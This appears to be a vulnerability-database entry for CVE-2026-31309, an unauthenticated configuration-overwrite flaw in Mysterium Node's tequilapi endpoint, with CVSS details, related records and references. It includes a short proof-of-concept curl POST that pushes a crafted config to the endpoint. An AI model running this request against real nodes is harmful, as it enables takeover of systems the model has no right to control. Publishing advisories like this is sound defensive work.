📄 Mysterium Node Improper Authorization
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | Exploit for CVE-2026-31309 | 10 Apr 202609:21 | – | githubexploit |
 | CVE-2026-31309 | 8 Jul 202600:00 | – | attackerkb |
 | CVE-2026-31309 | 13 Jul 202622:00 | – | circl |
 | CVE-2026-31309 | 8 Jul 202600:00 | – | cve |
 | CVE-2026-31309 | 8 Jul 202600:00 | – | cvelist |
 | EUVD-2026-42495 | 9 Jul 202600:31 | – | euvd |
 | CVE-2026-31309 | 8 Jul 202622:17 | – | nvd |
 | CVE-2026-31309 | 8 Jul 202600:00 | – | osv |
 | PT-2026-56620 | 8 Jul 202600:00 | – | ptsecurity |
 | Improper Authorization | 9 Jul 202600:47 | – | snyk |
10
# CVE-2026-31309: Improper Access Control in Mysterium Node before v1.36.0
Improper authorization in the `/tequilapi/config/user` endpoint of Mysterium Node from `v1.21.1-rc0` before `v1.36.0` allows an unauthenticated attacker to arbitrarily overwrite the node's configuration and achieve a full node takeover via a crafted POST request.
## CVSS
Score: 9.8 (CRITICAL)
Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
## PoC
```bash
curl -X POST \
"Content-Type: application/json" \
-d @config.json \
http://<host>:<port>/tequilapi/config/user
```
Discovered by Till Schacht.
## References
- <https://nvd.nist.gov/vuln/detail/CVE-2026-31309>
- <https://www.cve.org/CVERecord?id=CVE-2026-31309>
- <https://github.com/advisories/GHSA-p7gf-g6r8-g65h>Data
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16 Jul 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.19.8
EPSS0.0044
SSVC